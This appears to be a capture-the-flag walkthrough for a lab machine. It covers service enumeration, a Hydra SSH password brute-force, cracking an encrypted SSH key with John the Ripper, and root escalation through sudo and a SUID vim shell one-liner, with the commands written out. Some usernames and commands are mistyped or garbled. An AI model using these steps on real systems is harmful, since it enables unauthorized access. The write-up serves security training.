1. Recon

Nmap scan result:

PORT	STATE SERVICE	REASON	VERSION
22/tcp	open	ssh	syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp	open	http	syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
139/tcp	open	netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)	
445/tcp	open	netbios-ssn syn-ack ttl 63 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)	
8009/tcp open	ајр13	syn-ack ttl 63 Apache Jserv (Protocol v1.3)	
8080/tcp open	http	syn-ack ttl 63 Apache Tomcat 9.0.7	

SSH

An ssh server is running on port 22, but we don't have any creds yet.

SMB

On port 139/445 a Samba server is running, using the enum4linux script we can find useful informations :

A share:

Sharename	Type	Comment
Anonymous	Disk	
IPC\$	IPC	IPC Service (Samba Server 4.3.11-Ubuntu)

Two users: S-1-22-1-1000 Unix User\kay (Local User) S-1-22-1-1001 Unix User\jan (Local User)

We can connect to the anonymous share:

smbclient //IP/anonymous Where we can retrieve "staff.txt", where we found again the two usernames : jan and kay.

WEB

On port 80, we reach a website "Under maintenance" but, in the source code we can find: Meaning we can find something else on this website. Using gobuster: /development

We can retrieve "j.txt" saying : For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials, and I was able to crack your hash really easily. You know our password policy, so please follow it? Change that password ASAP.

-K

Knowing that jan has a weak password, we can try to bruteforce it.

2. Bruteforcing SSH

To bruteforce the credentials, i will use Hydra:

hydra -l jan -P /usr/share/seclists/Passwords/Common-Credentials/best1050.txt IP ssh

Result:

[22][ssh] host: 10.10.79.44 login: jan password: [REDACTED]

We can now ssh to jan.

3. Privesc #1 SSH

When exploring around, we can find that we have a read access over the ssh keys of kan.

/home/kan/.ssh/id_rsa

But we have a problem, the key is encrypted. We will need to crack the pass, for this, we will use JohnTheRipper, but first we need to make it crackable by john.

Use of ssh2john

ssh2john id_rsa > id_rsa.hash john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt

This will give us the password of the key.

We can now connect to kan using ssh and the key.

ssh kay@IP -i id_rsa put the key passphrase found above

pass.bak

In the home directory of kay, we can find the "pass.bak" file, containing a password trying "sudo -I" using the password will show:

Matching Defaults entries for kay on basic2: env_reset, mail_badpass,

secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/shap/bin User kay may run the following commands on basic2: (ALL: ALL) ALL

We can easily get root using:

sudo su

4. Privesc 2: SUID file

In our standard account Jan, we can find an abnormal SUID file using:

find / -perm -u=s 2> /dev/null

/usr/bin/vim.basic

Which is a version of vim. Using GTFObin, we can find that vim with SUID bit set, can be use to get root with:

/path/to/vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

Since the machine don't have python installed but python3, we need to use:

 $/path/to/vim-c \ ':py3 \ import \ os; os.execl ("/bin/sh", "sh", "-pc", "reset; exec \ sh \ -p")'$

/usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

We now have root access.